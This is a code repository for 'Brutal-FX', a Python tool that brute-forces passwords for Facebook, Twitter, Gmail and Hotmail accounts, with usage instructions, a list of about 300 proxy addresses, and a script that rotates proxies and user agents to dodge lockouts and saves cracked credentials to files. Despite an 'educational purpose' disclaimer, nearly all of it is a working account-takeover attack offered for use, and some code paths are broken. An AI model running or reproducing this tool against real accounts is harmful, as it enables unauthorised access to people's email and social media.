├── requirements.txt ├── README.md ├── Proxy-List.txt └── Brutal-FX.py /requirements.txt: -------------------------------------------------------------------------------- 1 | proxylist 2 | mechanize 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Brutal-FX 2 | A brute-force Tool for brute forcing social media accounts such as Facebook , gmail,Hotmail, Twitter ... And more coming soon. 3 | Note: This tool is only for educational purpose and not to be used illegally against anyone and i shall not be held responsible for your misuse of power. 4 | 5 | 6 | "GUys Do not learn to Hack , hack to learn" 7 | -Anonymous 8 | ------------------------------------------------------------------------------------------------ 9 | ![screenshot](https://user-images.githubusercontent.com/68897241/91157052-5f901000-e6b4-11ea-861b-1e92c7435714.png) 10 | 11 | Tested in: 12 | 1. Kali Linux 13 | 2. ubuntu 14 | 15 | 16 | How To Use : 17 | in terminal type, 18 | 19 | git clone https://github.com/anii-py/Brutal-FX.git 20 | 21 | cd Brutal-FX/ 22 | 23 | pip3 install -r requirements.txt 24 | 25 | python3 Brutal-FX.py 26 | 27 | ------------------------------------------------------------------------------------------------------ 28 | For Tutorial check my youtube : https://youtu.be/kw5XugeTrg4 29 | 30 | Thank you 31 | Gracias. 32 | Merci 33 | Grazie. 34 | -------------------------------------------------------------------------------- /Proxy-List.txt: -------------------------------------------------------------------------------- 1 | 5.180.100.24:8080 2 | 190.217.66.147:80 3 | 195.228.65.108:52378 4 | 51.158.113.142:8811 5 | 70.169.17.22:48678 6 | 36.89.142.43:43651 7 | 35.229.114.180:443 8 | 159.253.82.2:60428 9 | 47.254.175.154:80 10 | 52.151.95.57:3128 11 | 88.118.134.214:60737 12 | 37.123.222.124:8080 13 | 95.86.48.148:33304 14 | 18.221.10.102:3128 15 | 83.171.96.249:8080 16 | 91.225.226.39:41797 17 | 182.48.72.146:8080 18 | 177.21.237.22:8080 19 | 34.83.235.127:3128 20 | 121.58.244.238:80 21 | 13.228.147.135:3128 22 | 139.0.6.36:63141 23 | 76.185.16.94:54079 24 | 95.213.187.93:3128 25 | 45.81.144.13:8080 26 | 110.36.228.168:8080 27 | 188.170.122.155:8080 28 | 27.147.210.35:8080 29 | 170.81.247.47:3128 30 | 68.183.97.251:8080 31 | 201.52.96.46:8080 32 | 109.254.48.122:39568 33 | 68.183.135.4:8080 34 | 119.192.179.46:44631 35 | 109.86.47.53:45258 36 | 202.147.206.98:8080 37 | 123.231.247.114:8080 38 | 207.180.226.111:80 39 | 59.125.31.116:45965 40 | 50.197.38.230:60724 41 | 91.215.90.87:8080 42 | 94.127.111.142:8080 43 | 202.59.138.18:8080 44 | 14.207.212.33:8080 45 | 154.66.154.131:80 46 | 85.15.211.89:8080 47 | 83.143.31.82:53733 48 | 154.236.177.110:8080 49 | 198.211.99.93:8080 50 | 168.235.88.16:8080 51 | 103.111.56.41:8080 52 | 172.83.138.45:53281 53 | 36.67.246.50:50695 54 | 185.20.163.135:8080 55 | 38.98.110.3:8080 56 | 103.237.162.64:53281 57 | 77.119.242.80:59306 58 | 92.249.122.108:61778 59 | 91.92.10.112:8080 60 | 182.253.115.66:33980 61 | 51.68.61.17:80 62 | 101.255.117.124:8080 63 | 41.139.223.242:47842 64 | 109.170.96.18:8080 65 | 165.73.58.14:8080 66 | 109.200.156.102:8080 67 | 51.158.98.121:8811 68 | 138.117.77.114:3128 69 | 210.212.69.226:8080 70 | 177.137.91.103:8080 71 | 181.115.168.45:33924 72 | 37.32.127.161:36281 73 | 54.174.149.97:80 74 | 110.37.200.159:8080 75 | 5.44.54.73:8080 76 | 1.179.185.253:8080 77 | 45.76.82.184:3128 78 | 36.91.54.37:8080 79 | 74.214.177.61:8080 80 | 139.255.56.66:8080 81 | 50.249.79.18:8080 82 | 154.66.216.70:44561 83 | 92.51.46.1:8080 84 | 185.122.252.122:8080 85 | 124.41.243.22:47894 86 | 46.99.163.166:8080 87 | 165.22.25.49:3128 88 | 41.58.162.46:44145 89 | 190.122.111.251:8080 90 | 152.32.69.29:80 91 | 188.158.120.131:8080 92 | 198.11.178.14:8080 93 | 89.190.120.116:34850 94 | 51.75.145.86:3128 95 | 95.189.161.8:8080 96 | 103.239.253.255:8080 97 | 179.108.187.4:8080 98 | 142.93.130.169:8118 99 | 139.162.89.173:8082 100 | 176.197.103.210:53281 101 | 103.119.229.130:80 102 | 80.245.117.132:8080 103 | 117.102.127.130:8080 104 | 188.254.11.109:8080 105 | 47.88.214.65:9999 106 | 177.124.57.214:8080 107 | 14.162.146.128:40080 108 | 186.193.229.38:8080 109 | 75.146.218.153:55768 110 | 159.224.221.175:42440 111 | 174.32.123.106:87 112 | 84.241.10.214:8080 113 | 167.179.4.104:8080 114 | 103.218.101.230:8080 115 | 206.190.218.7:59939 116 | 164.73.191.2:8080 117 | 103.75.54.98:8080 118 | 117.204.254.225:8080 119 | 170.79.182.62:55553 120 | 195.201.74.70:80 121 | 197.255.254.133:47233 122 | 178.22.122.76:8585 123 | 181.188.167.142:8080 124 | 122.49.122.1:38592 125 | 178.253.200.198:6666 126 | 209.203.130.51:8080 127 | 203.80.190.162:8080 128 | 103.196.210.18:8080 129 | 222.165.194.68:46833 130 | 193.86.229.230:8080 131 | 197.251.104.244:8080 132 | 197.210.124.3:80 133 | 187.59.112.64:8080 134 | 62.122.99.235:8080 135 | 67.154.191.165:37112 136 | 103.253.168.99:8080 137 | 36.79.30.223:8080 138 | 202.53.254.34:3128 139 | 123.16.188.2:42311 140 | 203.24.76.57:32064 141 | 41.65.186.166:8080 142 | 116.212.148.42:8080 143 | 217.23.69.146:8080 144 | 203.174.13.158:8082 145 | 173.208.187.10:3128 146 | 71.183.100.76:42413 147 | 35.200.132.30:3128 148 | 185.160.60.36:33471 149 | 51.158.119.88:8811 150 | 183.88.237.226:8080 151 | 140.82.15.221:80 152 | 103.78.98.244:8080 153 | 81.23.115.86:3128 154 | 91.205.82.148:33562 155 | 47.52.135.210:3128 156 | 159.65.74.11:80 157 | 169.239.11.20:31241 158 | 45.6.92.18:8080 159 | 142.93.194.17:80 160 | 194.12.255.230:32483 161 | 36.91.156.75:8080 162 | 189.90.254.138:8080 163 | 220.247.164.53:8080 164 | 36.91.144.227:8080 165 | 41.190.33.162:8080 166 | 103.54.133.89:80 167 | 103.87.48.20:8080 168 | 180.253.175.0:8080 169 | 180.183.243.4:8080 170 | 46.201.219.126:8080 171 | 139.255.123.194:4550 172 | 70.169.129.235:48678 173 | 62.4.54.158:53102 174 | 202.61.49.52:32883 175 | 91.188.223.137:80 176 | 182.253.233.145:3128 177 | 210.16.102.216:8080 178 | 69.170.108.193:8080 179 | 98.172.141.125:8080 180 | 36.89.88.137:3128 181 | 24.217.192.131:57273 182 | 151.248.63.154:8080 183 | 69.10.52.33:8080 184 | 98.172.142.6:8080 185 | 151.8.184.29:61920 186 | 119.40.109.154:8080 187 | 138.201.223.250:31288 188 | 113.164.79.177:46281 189 | 187.189.81.115:8080 190 | 51.158.119.4:8811 191 | 190.136.177.69:8080 192 | 165.22.41.92:8080 193 | 207.188.73.155:80 194 | 182.48.79.85:8080 195 | 52.177.183.111:3128 196 | 182.53.193.108:54543 197 | 186.46.3.238:47324 198 | 192.119.203.124:48678 199 | 108.61.186.207:8080 200 | 134.209.196.212:3128 201 | 104.221.135.101:3128 202 | 5.137.143.195:8080 203 | 167.99.188.147:3128 204 | 134.209.1.204:8080 205 | 144.217.22.128:8080 206 | 139.5.73.11:8080 207 | 206.189.177.68:8888 208 | 182.253.200.210:38182 209 | 36.66.140.15:8080 210 | 67.229.103.118:3128 211 | 157.230.254.93:8080 212 | 160.238.224.10:8080 213 | 203.142.74.173:80 214 | 170.210.80.241:3128 215 | 202.51.102.94:8080 216 | 104.248.115.236:80 217 | 125.25.80.39:42790 218 | 201.204.46.10:39371 219 | 80.191.207.4:63141 220 | 37.235.28.1:41353 221 | 14.98.108.34:8080 222 | 36.75.250.178:8080 223 | 45.248.138.150:8080 224 | 207.180.240.231:8000 225 | 52.90.253.135:3128 226 | 160.119.135.22:8080 227 | 134.209.61.152:8080 228 | 45.116.106.109:8080 229 | 96.65.221.1:40293 230 | 94.198.233.99:53281 231 | 202.134.6.231:3128 232 | 80.78.73.139:44305 233 | 181.143.17.37:8080 234 | 167.86.108.132:80 235 | 35.225.208.4:80 236 | 93.170.94.102:8080 237 | 202.61.43.141:8080 238 | 85.198.142.186:8081 239 | 66.160.184.75:80 240 | 185.2.88.233:8080 241 | 61.128.208.94:3128 242 | 140.227.239.113:3128 243 | 104.248.241.199:8118 244 | 203.83.182.86:8080 245 | 182.176.176.65:8080 246 | 93.64.183.162:56508 247 | 103.115.100.246:51982 248 | 209.33.120.66:46047 249 | 88.198.43.40:80 250 | 134.209.61.152:80 251 | 66.96.253.234:8080 252 | 68.177.70.229:56975 253 | 111.90.177.132:8080 254 | 89.188.111.179:8080 255 | 125.162.36.5:3128 256 | 62.8.65.33:3128 257 | 144.172.216.109:57017 258 | 114.34.178.70:59115 259 | 103.25.195.2:80 260 | 185.80.130.17:3128 261 | 91.212.64.177:8080 262 | 41.184.122.153:8080 263 | 103.85.197.230:8080 264 | 118.174.233.45:44061 265 | 31.220.63.167:80 266 | 100.32.167.19:3128 267 | 36.91.207.233:3128 268 | 95.38.209.126:8080 269 | 159.203.87.130:3128 270 | 83.228.74.251:52593 271 | 106.240.254.138:80 272 | 212.172.74.14:443 273 | 188.129.161.55:36631 274 | 82.114.92.122:48795 275 | 78.157.254.42:3128 276 | 31.217.219.214:32484 277 | 82.81.169.142:80 278 | 89.218.5.109:46462 279 | 207.246.127.153:3128 280 | 95.38.210.98:8080 281 | 67.205.171.99:8080 282 | 139.5.132.245:8080 283 | 142.93.207.141:21 284 | 200.216.115.10:8080 285 | 200.5.32.211:8080 286 | 36.67.96.7:37554 287 | 95.214.62.31:3128 288 | 82.64.80.12:80 289 | 13.58.37.5:3128 290 | 182.93.75.105:8080 291 | 216.169.73.65:54785 292 | 161.49.186.218:8080 293 | 39.98.251.78:3128 294 | 115.85.76.150:8080 295 | 73.239.197.175:8080 296 | 118.136.170.164:8080 297 | 159.192.234.43:8080 298 | 118.91.175.210:8080 299 | 103.114.21.18:8080 300 | 51.77.162.148:3128 -------------------------------------------------------------------------------- /Brutal-FX.py: -------------------------------------------------------------------------------- 1 | #Importing modules 2 | #note: Modules :Proxylist,mechanize,cookielib are not inbuilt in python and needs to be installed through Pip3 3 | 4 | import smtplib 5 | import threading 6 | from optparse import * 7 | 8 | 9 | try: 10 | from proxylist import ProxyList 11 | except: 12 | print("Please install module 'Proxylist'\nPip3 install proxy list ") 13 | try: 14 | from mechanize import Browser 15 | except: 16 | print("Plese install module 'Mechanize'\nPip3install mechanize ") 17 | 18 | import sys 19 | import logging 20 | import io 21 | import random 22 | 23 | try: 24 | import cookielib 25 | except: 26 | import http.cookiejar as cookielib 27 | try: 28 | import mechanize 29 | except: 30 | print("Plese install module 'Mechanize'\nPip3install mechanize ") 31 | 32 | #Colours for texts 33 | 34 | R = '\033[31m' # red 35 | G = '\033[32m' # green 36 | W = '\033[0m' # white 37 | Y = '\036[47m' # Yellow 38 | use = OptionParser("""{} 39 | 40 | /$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ 41 | | $$__ $$ | $$ | $$ | $$_____/| $$ / $$ 42 | | $$ \ $$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ | $$ | $$ | $$/ $$/ 43 | | $$$$$$$ /$$__ $$| $$ | $$|_ $$_/ |____ $$| $$ /$$$$$$ | $$$$$ \ $$$$/ 44 | | $$__ $$| $$ \__/| $$ | $$ | $$ /$$$$$$$| $$ |______/ | $$__/ >$$ $$ 45 | | $$ \ $$| $$ | $$ | $$ | $$ /$$ /$$__ $$| $$ | $$ /$$/\ $$ 46 | | $$$$$$$/| $$ | $$$$$$/ | $$$$/| $$$$$$$| $$ | $$ | $$ \ $$ 47 | |_______/ |__/ \______/ \___/ \_______/|__/ |__/ |__/ |__/ 48 | 49 | [ C O D E D by: Anirudh] [DISCLAIMER: FOR EDUCATIONAL PURPOSE ONLY !] 50 | 𝖎 𝖆𝖒 𝖓𝖔𝖙 𝖗𝖊𝖘𝖕𝖔𝖓𝖘𝖎𝖇𝖑𝖊 𝖋𝖔𝖗 𝖒𝖎𝖘𝖚𝖘𝖊 𝖔𝖋 𝖙𝖍𝖎𝖘 𝖙𝖔𝖔𝖑 51 | 52 | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 53 | -g (OR) --gmail Eg. -g example@gmail.com -l wordlist.txt 54 | -t (OR) --hotmail Eg. -t example@hotmail.com -l wordlist.txt 55 | -T (OR) --twitter Eg. -T example_tweet -l wordlist.txt 56 | -f (OR) --facebook Eg. -f example@gmail.com -l wordlist.txt 57 | -l (OR) --list provide wordlist name 58 | -p (OR) --password Try Single Password 59 | -X (OR) --proxy show Proxy list 60 | 61 | """.format(G,W)) 62 | 63 | use.add_option("-g", "--gmail", dest="gmail", help="provide Your Target Gmail username") 64 | use.add_option("-t", "--hotmail", dest="hotmail", help="provide Your Target Hotmail username") 65 | use.add_option("-T", "--twitter", dest="twitter", help="provide Your Target twitter username") 66 | use.add_option("-f", "--facebook", dest="facebook", help="provide Your Target Facebook username") 67 | use.add_option("-l", "--list", dest="list_password", help="Provide Your PASSWORDlist/wordlist") 68 | use.add_option("-p", "--password", dest="password", help="Try a single password Guess.") 69 | use.add_option("-X", "--proxy", dest="proxy", help="Proxy list ") 70 | (options, args) = use.parse_args() 71 | 72 | brows = Browser() 73 | brows.set_handle_robots(False) 74 | brows._factory.is_html = True 75 | brows.set_cookiejar(cookielib.LWPCookieJar()) 76 | useragents = [ 77 | 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1)', 78 | 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 79 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 80 | 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6'] 81 | brows.addheaders = [('User-agent', random.choice(useragents))] 82 | brows.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 83 | proxyList = options.proxy 84 | 85 | 86 | 87 | def proxy(): 88 | logging.basicConfig() 89 | pl = ProxyList() 90 | try: 91 | pl.load_file(proxyList) 92 | except: 93 | sys.exit('[!] Proxy File format has incorrect | EXIT...') 94 | pl.random() 95 | getProxy = pl.random().address() 96 | brows.set_proxies(proxies={"https": getProxy}) 97 | try: 98 | checkProxyIP = brows.open("https://api.ipify.org/?format=raw", timeout=10) 99 | except: 100 | return proxy() 101 | 102 | 103 | 104 | #FACEBOOK 105 | def facebook(): 106 | password_list = io.open(options.list_password, "r").readlines() # reading lines in wordlist... 107 | try_login = 0 108 | print("\rFacebook Account: {}".format(options.facebook)) 109 | print("%s<<<<<<+++++Attacking Now...+++++>>>>>%s" % (R, W)) 110 | for password in password_list: 111 | password = password.rstrip('\n') 112 | try_login += 1 113 | if try_login == 10: 114 | try_login = 0 115 | proxy() 116 | print('\rPassword [==] {} '.format(password).rstrip("\n")) 117 | sys.stdout.flush 118 | url = "https://ar-ar.facebook.com/login" 119 | try: 120 | brows.open(url, timeout=5) 121 | brows.select_form(nr=0) 122 | brows.form['email'] = options.facebook 123 | brows.form['pass'] = password 124 | brows.method = "POST" 125 | submit = brows.submit() 126 | if 'https://www.facebook.com/?sk=welcome' in submit.geturl(): 127 | print("{}[True][+] Password Found [{}][+]".format(G, password)) 128 | Save = io.open("Facebook.txt", "a").write( 129 | "Account Facebook:" + options.facebook + "\t\tPassword:" + password + "\n") 130 | break 131 | else: 132 | print("%s[!] Incorrect Password %s\n" % (R, W)) 133 | except: 134 | print('[!] <<>> \n') 135 | proxy() 136 | 137 | #TWITTER 138 | def twitter(): 139 | password_list = io.open(options.list_password, "r").readlines() 140 | try_login = 0 141 | print("\rTwitter Account: {}".format(options.twitter)) 142 | print("%s<<<<<<+++++Attacking Now...+++++>>>>>%s" % (R, W)) 143 | for password in password_list: 144 | password = password.rstrip('\n') 145 | try_login += 1 146 | if try_login == 10: 147 | try_login = 0 148 | proxy() 149 | print('\rPassword [==] {} '.format(password).rstrip("\n")) 150 | sys.stdout.flush 151 | url = "https://mobile.twitter.com/login" 152 | try: 153 | brows.open(url, timeout=5) 154 | brows.select_form(nr=0) 155 | brows.form['session[username_or_email]'] = options.twitter.strip() 156 | brows.form['session[password]'] = password 157 | brows.method = "POST" 158 | submit = brows.submit() 159 | if submit.geturl() == "https://mobile.twitter.com/": 160 | print("{}[True][+] Password Found [{}][+]".format(G, password)) 161 | Save = io.open("Twitter.txt", "a").write( 162 | "Account Twitter:" + options.twitter + "\t\tPassword:" + password + "\n") 163 | break 164 | elif submit.geturl() == "https://mobile.twitter.com/home": 165 | print("{}[True][+] Password Found [{}][+]".format(G, password)) 166 | Save = io.open("Twitter.txt", "a").write( 167 | "Account Twitter:" + options.twitter + "\t\tPassword:" + password + "\n") 168 | break 169 | elif 'https://mobile.twitter.com/account/login_challenge' in submit.geturl(): 170 | print("{}[True][+] Password Found [{}][+]".format(G, password)) 171 | Save = io.open("Twitter.txt", "a").write( 172 | "Account Twitter:" + options.twitter + "\t\tPassword:" + password + "\n") 173 | break 174 | elif 'https://mobile.twitter.com/account/locked' in submit.geturl(): 175 | proxy() 176 | else: 177 | print("%s[!] incorrect Password %s\n" % (R, W)) 178 | except: 179 | print('tester.py>>> \n') 180 | proxy() 181 | 182 | 183 | if options.gmail == None: 184 | if options.hotmail == None: 185 | if options.twitter == None: 186 | if options.facebook == None: 187 | 188 | print(use.usage) 189 | exit() 190 | elif options.hotmail != None or options.gmail == None: 191 | smtp_srverH = smtplib.SMTP('smtp.live.com', 587) 192 | smtp_srverH.ehlo() 193 | smtp_srverH.starttls() 194 | if options.password != None or options.list_password == None: 195 | print("%s<<<<<<+++++Attacking Now...+++++>>>>>%s" % (R, W)) 196 | try: 197 | smtp_srverH.login(options.hotmail, options.password) 198 | print("Password Found :{} \t Found Hotmail:{}".format(options.password, options.hotmail)) 199 | Save = io.open("Hotmail.txt", "a").write( 200 | "Account Hotmail:" + options.hotmail + "\t\tPassword:" + options.password + "\n") 201 | except: 202 | print("Not Found Password : {} \t Email Hotmail:{}".format(options.password, options.hotmail)) 203 | elif options.list_password != None or options.password == None: 204 | password_list = io.open(options.list_password, "r").readlines() 205 | for password in password_list: 206 | try: 207 | print("%s<<<<<<+++++Start Attacking Email+++++>>>>>%s" % (R, W)) 208 | smtp_srverH.login(options.hotmail, password) 209 | print("FOUND Password :{} \n Found Hotmail:{}".format(password, options.hotmail)) 210 | Save = io.open("Hotmail.txt", "a").write( 211 | "Account Hotmail:" + options.hotmail + "\t\tPassword:" + password + "\n") 212 | except smtplib.SMTPAuthenticationError: 213 | print("Not Found Password : {} \t Email Hotmail:{}".format(password, options.hotmail)) 214 | if options.twitter != None: 215 | hejab = threading.Thread(target=twitter, name="hejab") 216 | hejab.start() 217 | if options.facebook != None: 218 | facebook = threading.Thread(target=facebook, name="facebook") 219 | facebook.start() 220 | if options.netflix != None: 221 | netflix = threading.Thread(target=Netflix, name="Netflix") 222 | netflix.start() 223 | 224 | 225 | elif options.gmail != None or options.hotmail == None or options.twitter == None: 226 | smtp_srverG = smtplib.SMTP('smtp.gmail.com', 587) 227 | smtp_srverG.ehlo() 228 | smtp_srverG.starttls() 229 | if options.password != None or options.list_password == None: 230 | print("%s<<<<<<+++++Attacking now...+++++>>>>>%s" % (R, W)) 231 | try: 232 | smtp_srverG.login(options.gmail, options.password) 233 | print("password Found :{} \t Found Gmail:{}".format(options.password, options.gmail)) 234 | Save = io.open("Gmail.txt", "a").write( 235 | "Account Gmail:" + options.gmail + "\t\tPassword:" + options.password + "\n") 236 | except: 237 | print("Not Found Password : {} \t Email Gmail:{}".format(options.password, options.gmail)) 238 | elif options.list_password != None: 239 | password_list = io.open(options.list_password, "r").readlines() 240 | for password in password_list: 241 | password = password.rstrip("\n") 242 | print("%s<<<<<<+++++Attacking Now...+++++>>>>>%s" % (R, W)) 243 | try: 244 | smtp_srverG.login(options.gmail, password) 245 | print("{}<<<+++Found Password :{} \t Found Gmail:{}+++>>>".format(G, password, options.gmail)) 246 | Save = io.open("Gmail.txt", "a").write( 247 | "Account Gmail:" + options.gmail + "\t\tPassword:" + password + "\n") 248 | break 249 | except smtplib.SMTPAuthenticationError: 250 | print("{}<<<---Password Not found : {} \t Email Gmail:{}--->>>".format(R, password, options.gmail)) 251 | 252 | else: 253 | print(use.usage) 254 | exit() 255 | --------------------------------------------------------------------------------